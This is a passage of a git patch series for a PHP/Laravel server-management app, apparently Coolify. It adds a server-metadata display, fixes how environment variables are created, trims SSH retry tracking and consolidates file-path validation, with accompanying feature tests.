+++++++ .../views/livewire/server/show.blade.php | 52 ++++++++++ tests/Feature/ServerMetadataTest.php | 96 +++++++++++++++++++ 5 files changed, 248 insertions(+) create mode 100644 database/migrations/2026_03_11_000000_add_server_metadata_to_servers_table.php create mode 100644 tests/Feature/ServerMetadataTest.php diff --git a/app/Livewire/Server/Show.php b/app/Livewire/Server/Show.php index edc17004c..84cb65ee6 100644 --- a/app/Livewire/Server/Show.php +++ b/app/Livewire/Server/Show.php @@ -483,6 +483,22 @@ public function startHetznerServer() } } + public function refreshServerMetadata(): void + { + try { + $this->authorize('update', $this->server); + $result = $this->server->gatherServerMetadata(); + if ($result) { + $this->server->refresh(); + $this->dispatch('success', 'Server details refreshed.'); + } else { + $this->dispatch('error', 'Could not fetch server details. Is the server reachable?'); + } + } catch (\Throwable $e) { + handleError($e, $this); + } + } + public function submit() { try { diff --git a/app/Models/Server.php b/app/Models/Server.php index 5099a9fec..508b9833b 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -25,6 +25,7 @@ use Illuminate\Support\Carbon; use Illuminate\Support\Collection; use Illuminate\Support\Facades\DB; +use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Storage; use Illuminate\Support\Stringable; use OpenApi\Attributes as OA; @@ -231,6 +232,7 @@ public static function flushIdentityMap(): void protected $casts = [ 'proxy' => SchemalessAttributes::class, 'traefik_outdated_info' => 'array', + 'server_metadata' => 'array', 'logdrain_axiom_api_key' => 'encrypted', 'logdrain_newrelic_license_key' => 'encrypted', 'delete_unused_volumes' => 'boolean', @@ -258,6 +260,7 @@ public static function flushIdentityMap(): void 'is_validating', 'detected_traefik_version', 'traefik_outdated_info', + 'server_metadata', ]; protected $guarded = []; @@ -1074,6 +1077,55 @@ public function validateOS(): bool|Stringable } } + public function gatherServerMetadata(): ?array + { + if (! $this->isFunctional()) { + return null; + } + + try { + $output = instant_remote_process([ + 'echo "---PRETTY_NAME---" && grep PRETTY_NAME /etc/os-release | cut -d= -f2 | tr -d \'"\' && echo "---ARCH---" && uname -m && echo "---KERNEL---" && uname -r && echo "---CPUS---" && nproc && echo "---MEMORY---" && free -b | awk \'/Mem:/{print $2}\' && echo "---UPTIME_SINCE---" && uptime -s', + ], $this, false); + + if (! $output) { + return null; + } + + $sections = []; + $currentKey = null; + foreach (explode("\n", trim($output)) as $line) { + $line = trim($line); + if (preg_match('/^---(\w+)---$/', $line, $m)) { + $currentKey = $m[1]; + } elseif ($currentKey) { + $sections[$currentKey] = $line; + } + } + + $metadata = [ + 'os' => $sections['PRETTY_NAME'] ?? 'Unknown', + 'arch' => $sections['ARCH'] ?? 'Unknown', + 'kernel' => $sections['KERNEL'] ?? 'Unknown', + 'cpus' => (int) ($sections['CPUS'] ?? 0), + 'memory_bytes' => (int) ($sections['MEMORY'] ?? 0), + 'uptime_since' => $sections['UPTIME_SINCE'] ?? null, + 'collected_at' => now()->toIso8601String(), + ]; + + $this->update(['server_metadata' => $metadata]); + + return $metadata; + } catch (\Throwable $e) { + Log::debug('Failed to gather server metadata', [ + 'server_id' => $this->id, + 'error' => $e->getMessage(), + ]); + + return null; + } + } + public function isTerminalEnabled() { return $this->settings->is_terminal_enabled ?? false; diff --git a/database/migrations/2026_03_11_000000_add_server_metadata_to_servers_table.php b/database/migrations/2026_03_11_000000_add_server_metadata_to_servers_table.php new file mode 100644 index 000000000..cea25c3ba --- /dev/null +++ b/database/migrations/2026_03_11_000000_add_server_metadata_to_servers_table.php @@ -0,0 +1,32 @@ +json('server_metadata')->nullable(); + }); + } + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + if (Schema::hasColumn('servers', 'server_metadata')) { + Schema::table('servers', function (Blueprint $table) { + $table->dropColumn('server_metadata'); + }); + } + } +}; diff --git a/resources/views/livewire/server/show.blade.php b/resources/views/livewire/server/show.blade.php index f58dc058b..7017d7104 100644 --- a/resources/views/livewire/server/show.blade.php +++ b/resources/views/livewire/server/show.blade.php @@ -289,6 +289,58 @@ class="w-full input opacity-50 cursor-not-allowed"
+ @if ($server->isFunctional()) +
+
+

Server Details

+ @if ($server->server_metadata) + + @endif +
+ @if ($server->server_metadata) + @php $meta = $server->server_metadata; @endphp +
+
OS: + {{ $meta['os'] ?? 'N/A' }}
+
Arch: + {{ $meta['arch'] ?? 'N/A' }}
+
Kernel: + {{ $meta['kernel'] ?? 'N/A' }}
+
CPU Cores: + {{ $meta['cpus'] ?? 'N/A' }}
+
RAM: + {{ isset($meta['memory_bytes']) ? round($meta['memory_bytes'] / 1073741824, 1) . ' GB' : 'N/A' }} +
+
Up Since: + {{ $meta['uptime_since'] ?? 'N/A' }}
+
+ @if (isset($meta['collected_at'])) +

Last updated: + {{ \Carbon\Carbon::parse($meta['collected_at'])->diffForHumans() }}

+ @endif + @else + + Fetch Server + Details + Fetching... + + @endif +
+ @endif @if (!$server->hetzner_server_id && $availableHetznerTokens->isNotEmpty())

Link to Hetzner Cloud

diff --git a/tests/Feature/ServerMetadataTest.php b/tests/Feature/ServerMetadataTest.php new file mode 100644 index 000000000..fcd515de9 --- /dev/null +++ b/tests/Feature/ServerMetadataTest.php @@ -0,0 +1,96 @@ +create(); + $this->team = Team::factory()->create(); + $user->teams()->attach($this->team); + $this->actingAs($user); + session(['currentTeam' => $this->team]); + + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + ]); +}); + +it('casts server_metadata as array', function () { + $metadata = [ + 'os' => 'Ubuntu 22.04.3 LTS', + 'arch' => 'x86_64', + 'kernel' => '5.15.0-91-generic', + 'cpus' => 4, + 'memory_bytes' => 8589934592, + 'uptime_since' => '2024-01-15 10:30:00', + 'collected_at' => now()->toIso8601String(), + ]; + + $this->server->update(['server_metadata' => $metadata]); + $this->server->refresh(); + + expect($this->server->server_metadata)->toBeArray() + ->and($this->server->server_metadata['os'])->toBe('Ubuntu 22.04.3 LTS') + ->and($this->server->server_metadata['cpus'])->toBe(4) + ->and($this->server->server_metadata['memory_bytes'])->toBe(8589934592); +}); + +it('stores null server_metadata by default', function () { + expect($this->server->server_metadata)->toBeNull(); +}); + +it('includes server_metadata in fillable', function () { + $this->server->fill(['server_metadata' => ['os' => 'Test']]); + + expect($this->server->server_metadata)->toBe(['os' => 'Test']); +}); + +it('persists and retrieves full server metadata structure', function () { + $metadata = [ + 'os' => 'Debian GNU/Linux 12 (bookworm)', + 'arch' => 'aarch64', + 'kernel' => '6.1.0-17-arm64', + 'cpus' => 8, + 'memory_bytes' => 17179869184, + 'uptime_since' => '2024-03-01 08:00:00', + 'collected_at' => '2024-03-10T12:00:00+00:00', + ]; + + $this->server->update(['server_metadata' => $metadata]); + $this->server->refresh(); + + expect($this->server->server_metadata) + ->toHaveKeys(['os', 'arch', 'kernel', 'cpus', 'memory_bytes', 'uptime_since', 'collected_at']) + ->and($this->server->server_metadata['os'])->toBe('Debian GNU/Linux 12 (bookworm)') + ->and($this->server->server_metadata['arch'])->toBe('aarch64') + ->and($this->server->server_metadata['cpus'])->toBe(8) + ->and(round($this->server->server_metadata['memory_bytes'] / 1073741824, 1))->toBe(16.0); +}); + +it('returns null from gatherServerMetadata when server is not functional', function () { + $this->server->settings->update([ + 'is_reachable' => false, + 'is_usable' => false, + ]); + + $this->server->refresh(); + + expect($this->server->gatherServerMetadata())->toBeNull(); +}); + +it('can overwrite server_metadata with new values', function () { + $this->server->update(['server_metadata' => ['os' => 'Ubuntu 20.04', 'cpus' => 2]]); + $this->server->refresh(); + + expect($this->server->server_metadata['os'])->toBe('Ubuntu 20.04'); + + $this->server->update(['server_metadata' => ['os' => 'Ubuntu 22.04', 'cpus' => 4]]); + $this->server->refresh(); + + expect($this->server->server_metadata['os'])->toBe('Ubuntu 22.04') + ->and($this->server->server_metadata['cpus'])->toBe(4); +}); From 58d510042b24319f6608e0fdbcf81d021cc87cbc Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 11 Mar 2026 16:34:33 +0100 Subject: [PATCH 184/305] fix(parsers): use firstOrCreate instead of updateOrCreate for environment variables Replace updateOrCreate with firstOrCreate when creating FQDN and URL environment variables in serviceParser. This prevents overwriting values that have already been set by direct template declarations or updateCompose, ensuring user-defined environment variables are preserved. --- bootstrap/helpers/parsers.php | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index 85ae5ad3e..cb9811e46 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -1875,8 +1875,9 @@ function serviceParser(Service $resource): Collection $serviceExists->fqdn = $url; $serviceExists->save(); } - // Create FQDN variable - $resource->environment_variables()->updateOrCreate([ + // Create FQDN variable (use firstOrCreate to avoid overwriting values + // already set by direct template declarations or updateCompose) + $resource->environment_variables()->firstOrCreate([ 'key' => $key->value(), 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, @@ -1888,7 +1889,7 @@ function serviceParser(Service $resource): Collection // Also create the paired SERVICE_URL_* variable $urlKey = 'SERVICE_URL_'.strtoupper($fqdnFor); - $resource->environment_variables()->updateOrCreate([ + $resource->environment_variables()->firstOrCreate([ 'key' => $urlKey, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, @@ -1918,8 +1919,9 @@ function serviceParser(Service $resource): Collection $serviceExists->fqdn = $url; $serviceExists->save(); } - // Create URL variable - $resource->environment_variables()->updateOrCreate([ + // Create URL variable (use firstOrCreate to avoid overwriting values + // already set by direct template declarations or updateCompose) + $resource->environment_variables()->firstOrCreate([ 'key' => $key->value(), 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, @@ -1931,7 +1933,7 @@ function serviceParser(Service $resource): Collection // Also create the paired SERVICE_FQDN_* variable $fqdnKey = 'SERVICE_FQDN_'.strtoupper($urlFor); - $resource->environment_variables()->updateOrCreate([ + $resource->environment_variables()->firstOrCreate([ 'key' => $fqdnKey, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, From 54c5ad38da8e15f5637eeac244546a4d6d656cdf Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 11 Mar 2026 17:15:17 +0100 Subject: [PATCH 185/305] test(magic-variables): add feature tests for SERVICE_URL/FQDN variable handling Add comprehensive test suite verifying that magic (referenced) SERVICE_URL_ and SERVICE_FQDN_ variables don't overwrite values set by direct template declarations or updateCompose(). Tests cover the fix for GitHub issue #8912 where generic SERVICE_URL and SERVICE_FQDN variables remained stale after changing a service domain in the UI. These tests ensure the transition from updateOrCreate() to firstOrCreate() in the magic variables section works correctly. --- .../ServiceMagicVariableOverwriteTest.php | 171 ++++++++++++++++++ 1 file changed, 171 insertions(+) create mode 100644 tests/Feature/ServiceMagicVariableOverwriteTest.php diff --git a/tests/Feature/ServiceMagicVariableOverwriteTest.php b/tests/Feature/ServiceMagicVariableOverwriteTest.php new file mode 100644 index 000000000..c592b047e --- /dev/null +++ b/tests/Feature/ServiceMagicVariableOverwriteTest.php @@ -0,0 +1,171 @@ +create([ + 'name' => 'test-server', + 'ip' => '127.0.0.1', + ]); + + // Compose template where: + // - nginx directly declares SERVICE_FQDN_NGINX_8080 (Section 1) + // - backend references ${SERVICE_URL_NGINX} and ${SERVICE_FQDN_NGINX} (Section 2 - magic) + $template = <<<'YAML' +services: + nginx: + image: nginx:latest + environment: + - SERVICE_FQDN_NGINX_8080 + ports: + - "8080:80" + backend: + image: node:20-alpine + environment: + - PUBLIC_URL=${SERVICE_URL_NGINX} + - PUBLIC_FQDN=${SERVICE_FQDN_NGINX} +YAML; + + $service = Service::factory()->create([ + 'server_id' => $server->id, + 'name' => 'test-service', + 'docker_compose_raw' => $template, + ]); + + $serviceApp = ServiceApplication::factory()->create([ + 'service_id' => $service->id, + 'name' => 'nginx', + 'fqdn' => null, + ]); + + // Initial parse - generates auto FQDNs + $service->parse(); + + $baseUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX')->first(); + $baseFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX')->first(); + $portUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX_8080')->first(); + $portFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX_8080')->first(); + + // All four variables should exist after initial parse + expect($baseUrl)->not->toBeNull('SERVICE_URL_NGINX should exist'); + expect($baseFqdn)->not->toBeNull('SERVICE_FQDN_NGINX should exist'); + expect($portUrl)->not->toBeNull('SERVICE_URL_NGINX_8080 should exist'); + expect($portFqdn)->not->toBeNull('SERVICE_FQDN_NGINX_8080 should exist'); + + // Now simulate user changing domain via UI (EditDomain::submit flow) + $serviceApp->fqdn = 'https://my-nginx.example.com:8080'; + $serviceApp->save(); + + // updateCompose() runs first (sets correct values) + updateCompose($serviceApp); + + // Then parse() runs (should NOT overwrite the correct values) + $service->parse(); + + // Reload all variables + $baseUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX')->first(); + $baseFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX')->first(); + $portUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX_8080')->first(); + $portFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX_8080')->first(); + + // ALL variables should reflect the custom domain + expect($baseUrl->value)->toBe('https://my-nginx.example.com') + ->and($baseFqdn->value)->toBe('my-nginx.example.com') + ->and($portUrl->value)->toBe('https://my-nginx.example.com:8080') + ->and($portFqdn->value)->toBe('my-nginx.example.com:8080'); +})->skip('Requires database - run in Docker'); + +test('magic variable references do not overwrite direct template declarations on initial parse', function () { + $server = Server::factory()->create([ + 'name' => 'test-server', + 'ip' => '127.0.0.1', + ]); + + // Backend references the port-specific variable via magic syntax + $template = <<<'YAML' +services: + app: + image: nginx:latest + environment: + - SERVICE_FQDN_APP_3000 + ports: + - "3000:3000" + worker: + image: node:20-alpine + environment: + - API_URL=${SERVICE_URL_APP_3000} +YAML; + + $service = Service::factory()->create([ + 'server_id' => $server->id, + 'name' => 'test-service', + 'docker_compose_raw' => $template, + ]); + + ServiceApplication::factory()->create([ + 'service_id' => $service->id, + 'name' => 'app', + 'fqdn' => null, + ]); + + // Parse the service + $service->parse(); + + $portUrl = $service->environment_variables()->where('key', 'SERVICE_URL_APP_3000')->first(); + $portFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_APP_3000')->first(); + + // Port-specific vars should have port as a URL port suffix (:3000), + // NOT baked into the subdomain (app-3000-uuid.sslip.io) + expect($portUrl)->not->toBeNull(); + expect($portFqdn)->not->toBeNull(); + expect($portUrl->value)->toContain(':3000'); + // The domain should NOT have 3000 in the subdomain + $urlWithoutPort = str($portUrl->value)->before(':3000')->value(); + expect($urlWithoutPort)->not->toContain('3000'); +})->skip('Requires database - run in Docker'); + +test('parsers.php uses firstOrCreate for magic variable references', function () { + $parsersFile = file_get_contents(base_path('bootstrap/helpers/parsers.php')); + + // Find the magic variables section (Section 2) which processes ${SERVICE_*} references + // It should use firstOrCreate, not updateOrCreate, to avoid overwriting values + // set by direct template declarations (Section 1) or updateCompose() + + // Look for the specific pattern: the magic variables section creates FQDN and URL pairs + // after the "Also create the paired SERVICE_URL_*" and "Also create the paired SERVICE_FQDN_*" comments + + // Extract the magic variables section (between "$magicEnvironments->count()" and the end of the foreach) + $magicSectionStart = strpos($parsersFile, '$magicEnvironments->count() > 0'); + expect($magicSectionStart)->not->toBeFalse('Magic variables section should exist'); + + $magicSection = substr($parsersFile, $magicSectionStart, 5000); + + // Count updateOrCreate vs firstOrCreate in the magic section + $updateOrCreateCount = substr_count($magicSection, 'updateOrCreate'); + $firstOrCreateCount = substr_count($magicSection, 'firstOrCreate'); + + // Magic section should use firstOrCreate for SERVICE_URL/FQDN variables + expect($firstOrCreateCount)->toBeGreaterThanOrEqual(4, 'Magic variables section should use firstOrCreate for SERVICE_URL/FQDN pairs') + ->and($updateOrCreateCount)->toBe(0, 'Magic variables section should not use updateOrCreate for SERVICE_URL/FQDN variables'); +}); From ebfa53d9cad2a5d05b0ea4893563467b3f39870e Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 12 Mar 2026 13:01:18 +0100 Subject: [PATCH 186/305] refactor(ssh): remove Sentry retry event tracking from ExecuteRemoteCommand Remove the trackSshRetryEvent() call from SSH retry handling. This tracking is no longer needed in the retry logic. --- app/Traits/ExecuteRemoteCommand.php | 7 ------- 1 file changed, 7 deletions(-) diff --git a/app/Traits/ExecuteRemoteCommand.php b/app/Traits/ExecuteRemoteCommand.php index a60a47b93..a4ea6abe5 100644 --- a/app/Traits/ExecuteRemoteCommand.php +++ b/app/Traits/ExecuteRemoteCommand.php @@ -111,13 +111,6 @@ public function execute_remote_command(...$commands) $attempt++; $delay = $this->calculateRetryDelay($attempt - 1); - // Track SSH retry event in Sentry - $this->trackSshRetryEvent($attempt, $maxRetries, $delay, $errorMessage, [ - 'server' => $this->server->name ?? $this->server->ip ?? 'unknown', - 'command' => $this->redact_sensitive_info($command), - 'trait' => 'ExecuteRemoteCommand', - ]); - // Add log entry for the retry if (isset($this->application_deployment_queue)) { $this->addRetryLogEntry($attempt, $maxRetries, $delay, $errorMessage); From 01031fc5f3d25422eec2f0376ea98475a7337212 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 12 Mar 2026 13:09:13 +0100 Subject: [PATCH 187/305] refactor: consolidate file path validation patterns and support scoped packages - Extract file path validation regex into ValidationPatterns::FILE_PATH_PATTERN constant - Add filePathRules() and filePathMessages() helper methods for reusable validation - Extend allowed characters from [a-zA-Z0-9._\-/] to [a-zA-Z0-9._\-/~@+] to support: - Scoped npm packages (@org/package) - Language-specific directories (c++, rust+) - Version markers (v1~, build~) - Replace duplicate inline regex patterns across multiple files - Add tests for paths with @ symbol and tilde/plus characters --- app/Jobs/ApplicationDeploymentJob.php | 2 +- app/Livewire/Project/Application/General.php | 12 +++---- .../Project/New/GithubPrivateRepository.php | 2 +- .../New/GithubPrivateRepositoryDeployKey.php | 4 +-- .../Project/New/PublicGitRepository.php | 4 +-- app/Support/ValidationPatterns.php | 26 +++++++++++++- bootstrap/helpers/api.php | 4 +-- .../Feature/CommandInjectionSecurityTest.php | 36 ++++++++++++++++++- 8 files changed, 74 insertions(+), 16 deletions(-) diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index c80d31ab3..b51d04fca 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -3929,7 +3929,7 @@ private function add_build_secrets_to_compose($composeFile) private function validatePathField(string $value, string $fieldName): string { - if (! preg_match('/^\/[a-zA-Z0-9._\-\/]+$/', $value)) { + if (! preg_match(\App\Support\ValidationPatterns::FILE_PATH_PATTERN, $value)) { throw new \RuntimeException("Invalid {$fieldName}: contains forbidden characters."); } if (str_contains($value, '..')) { diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index 747536bcf..b3fe99806 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -73,7 +73,7 @@ class General extends Component #[Validate(['string', 'nullable'])] public ?string $dockerfile = null; - #[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'])] + #[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/~@+]+$/'])] public ?string $dockerfileLocation = null; #[Validate(['string', 'nullable'])] @@ -85,7 +85,7 @@ class General extends Component #[Validate(['string', 'nullable'])] public ?string $dockerRegistryImageTag = null; - #[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'])] + #[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/~@+]+$/'])] public ?string $dockerComposeLocation = null; #[Validate(['string', 'nullable'])] @@ -198,8 +198,8 @@ protected function rules(): array 'dockerfile' => 'nullable', 'dockerRegistryImageName' => 'nullable', 'dockerRegistryImageTag' => 'nullable', - 'dockerfileLocation' => ['nullable', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], - 'dockerComposeLocation' => ['nullable', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], + 'dockerfileLocation' => ['nullable', 'regex:'.ValidationPatterns::FILE_PATH_PATTERN], + 'dockerComposeLocation' => ['nullable', 'regex:'.ValidationPatterns::FILE_PATH_PATTERN], 'dockerCompose' => 'nullable', 'dockerComposeRaw' => 'nullable', 'dockerfileTargetBuild' => 'nullable', @@ -231,8 +231,8 @@ protected function messages(): array return array_merge( ValidationPatterns::combinedMessages(), [ - 'dockerfileLocation.regex' => 'The Dockerfile location must be a valid path starting with / and containing only alphanumeric characters, dots, hyphens, and slashes.', - 'dockerComposeLocation.regex' => 'The Docker Compose location must be a valid path starting with / and containing only alphanumeric characters, dots, hyphens, and slashes.', + ...ValidationPatterns::filePathMessages('dockerfileLocation', 'Dockerfile'), + ...ValidationPatterns::filePathMessages('dockerComposeLocation', 'Docker Compose'), 'name.required' => 'The Name field is required.', 'gitRepository.required' => 'The Git Repository field is required.', 'gitBranch.required' => 'The Git Branch field is required.', diff --git a/app/Livewire/Project/New/GithubPrivateRepository.php b/app/Livewire/Project/New/GithubPrivateRepository.php index 1bb276b89..61ae0e151 100644 --- a/app/Livewire/Project/New/GithubPrivateRepository.php +++ b/app/Livewire/Project/New/GithubPrivateRepository.php @@ -168,7 +168,7 @@ public function submit() 'selected_repository_owner' => 'required|string|regex:/^[a-zA-Z0-9\-_]+$/', 'selected_repository_repo' => 'required|string|regex:/^[a-zA-Z0-9\-_\.]+$/', 'selected_branch_name' => ['required', 'string', new ValidGitBranch], - 'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], + 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), ]); if ($validator->fails()) { diff --git a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php index f52c01e91..b9af20c76 100644 --- a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php +++ b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php @@ -64,7 +64,7 @@ class GithubPrivateRepositoryDeployKey extends Component 'is_static' => 'required|boolean', 'publish_directory' => 'nullable|string', 'build_pack' => 'required|string', - 'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], + 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), ]; protected function rules() @@ -76,7 +76,7 @@ protected function rules() 'is_static' => 'required|boolean', 'publish_directory' => 'nullable|string', 'build_pack' => 'required|string', - 'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], + 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), ]; } diff --git a/app/Livewire/Project/New/PublicGitRepository.php b/app/Livewire/Project/New/PublicGitRepository.php index a08c448dd..cc2510a66 100644 --- a/app/Livewire/Project/New/PublicGitRepository.php +++ b/app/Livewire/Project/New/PublicGitRepository.php @@ -70,7 +70,7 @@ class PublicGitRepository extends Component 'publish_directory' => 'nullable|string', 'build_pack' => 'required|string', 'base_directory' => 'nullable|string', - 'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], + 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), ]; protected function rules() @@ -82,7 +82,7 @@ protected function rules() 'publish_directory' => 'nullable|string', 'build_pack' => 'required|string', 'base_directory' => 'nullable|string', - 'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], + 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), 'git_branch' => ['required', 'string', new ValidGitBranch], ]; } diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php index a2da0fc46..2ae1536da 100644 --- a/app/Support/ValidationPatterns.php +++ b/app/Support/ValidationPatterns.php @@ -17,6 +17,12 @@ class ValidationPatterns */ public const DESCRIPTION_PATTERN = '/^[\p{L}\p{M}\p{N}\s\-_.,!?()\'\"+=*@\/&]+$/u'; + /** + * Pattern for file paths (dockerfile location, docker compose location, etc.) + * Allows alphanumeric, dots, hyphens, underscores, slashes, @, ~, and + + */ + public const FILE_PATH_PATTERN = '/^\/[a-zA-Z0-9._\-\/~@+]+$/'; + /** * Get validation rules for name fields */ @@ -81,7 +87,25 @@ public static function descriptionMessages(): array ]; } - /** + /** + * Get validation rules for file path fields (dockerfile location, docker compose location) + */ + public static function filePathRules(int $maxLength = 255): array + { + return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::FILE_PATH_PATTERN]; + } + + /** + * Get validation messages for file path fields + */ + public static function filePathMessages(string $field = 'dockerfileLocation', string $label = 'Dockerfile'): array + { + return [ + "{$field}.regex" => "The {$label} location must be a valid path starting with / and containing only alphanumeric characters, dots, hyphens, underscores, slashes, @, ~, and +.", + ]; + } + + /** * Get combined validation messages for both name and description fields */ public static function combinedMessages(): array diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php index 1b03a4d37..43c074cd1 100644 --- a/bootstrap/helpers/api.php +++ b/bootstrap/helpers/api.php @@ -134,8 +134,8 @@ function sharedDataApplications() 'manual_webhook_secret_gitlab' => 'string|nullable', 'manual_webhook_secret_bitbucket' => 'string|nullable', 'manual_webhook_secret_gitea' => 'string|nullable', - 'dockerfile_location' => ['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], - 'docker_compose_location' => ['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], + 'dockerfile_location' => ['string', 'nullable', 'max:255', 'regex:'.\App\Support\ValidationPatterns::FILE_PATH_PATTERN], + 'docker_compose_location' => ['string', 'nullable', 'max:255', 'regex:'.\App\Support\ValidationPatterns::FILE_PATH_PATTERN], 'docker_compose' => 'string|nullable', 'docker_compose_domains' => 'array|nullable', 'docker_compose_custom_start_command' => 'string|nullable', diff --git a/tests/Feature/CommandInjectionSecurityTest.php b/tests/Feature/CommandInjectionSecurityTest.php index 47e9f3b35..7047e4bc6 100644 --- a/tests/Feature/CommandInjectionSecurityTest.php +++ b/tests/Feature/CommandInjectionSecurityTest.php @@ -91,6 +91,28 @@ ->toBe('/docker/Dockerfile.prod'); }); + test('allows path with @ symbol for scoped packages', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect($method->invoke($instance, '/packages/@intlayer/mcp/Dockerfile', 'dockerfile_location')) + ->toBe('/packages/@intlayer/mcp/Dockerfile'); + }); + + test('allows path with tilde and plus characters', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect($method->invoke($instance, '/build~v1/c++/Dockerfile', 'dockerfile_location')) + ->toBe('/build~v1/c++/Dockerfile'); + }); + test('allows valid compose file path', function () { $job = new ReflectionClass(ApplicationDeploymentJob::class); $method = $job->getMethod('validatePathField'); @@ -149,6 +171,18 @@ }); }); + test('dockerfile_location validation allows paths with @ for scoped packages', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_location' => '/packages/@intlayer/mcp/Dockerfile'], + ['dockerfile_location' => $rules['dockerfile_location']] + ); + + expect($validator->fails())->toBeFalse(); + }); +}); + describe('sharedDataApplications rules survive array_merge in controller', function () { test('docker_compose_location safe regex is not overridden by local rules', function () { $sharedRules = sharedDataApplications(); @@ -164,7 +198,7 @@ // The merged rules for docker_compose_location should be the safe regex, not just 'string' expect($merged['docker_compose_location'])->toBeArray(); - expect($merged['docker_compose_location'])->toContain('regex:/^\/[a-zA-Z0-9._\-\/]+$/'); + expect($merged['docker_compose_location'])->toContain('regex:'.\App\Support\ValidationPatterns::FILE_PATH_PATTERN); }); }); From 7cfc6746c7cb03e8ecdbda38deb3f33dfdf56048 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 12 Mar 2026 13:23:13 +0100 Subject: [PATCH 188/305] fix(parsers): resolve shared variables in compose environment Extract shared variable resolution logic into a reusable helper function `resolveSharedEnvironmentVariables()` and apply it in applicationParser and serviceParser to ensure patterns like {{environment.VAR}}, {{project.VAR}}, and {{team.VAR}} are properly resolved in the compose environment section. Without this, unresolved {{...}} strings would take precedence over resolved values from the .env file (env_file:) in docker-compose configurations. --- app/Models/EnvironmentVariable.php | 32 +---- bootstrap/helpers/parsers.php | 14 ++ bootstrap/helpers/shared.php | 46 +++++++ .../SharedVariableComposeResolutionTest.php | 128 ++++++++++++++++++ 4 files changed, 189 insertions(+), 31 deletions(-) create mode 100644 tests/Feature/SharedVariableComposeResolutionTest.php diff --git a/app/Models/EnvironmentVariable.php b/app/Models/EnvironmentVariable.php index 0a004f765..cf60d5ab5 100644 --- a/app/Models/EnvironmentVariable.php +++ b/app/Models/EnvironmentVariable.php @@ -214,37 +214,7 @@ protected function isShared(): Attribute private function get_real_environment_variables(?string $environment_variable = null, $resource = null) { - if ((is_null($environment_variable) && $environment_variable === '') || is_null($resource)) { - return null; - } - $environment_variable = trim($environment_variable); - $sharedEnvsFound = str($environment_variable)->matchAll('/{{(.*?)}}/'); - if ($sharedEnvsFound->isEmpty()) { - return $environment_variable; - } - 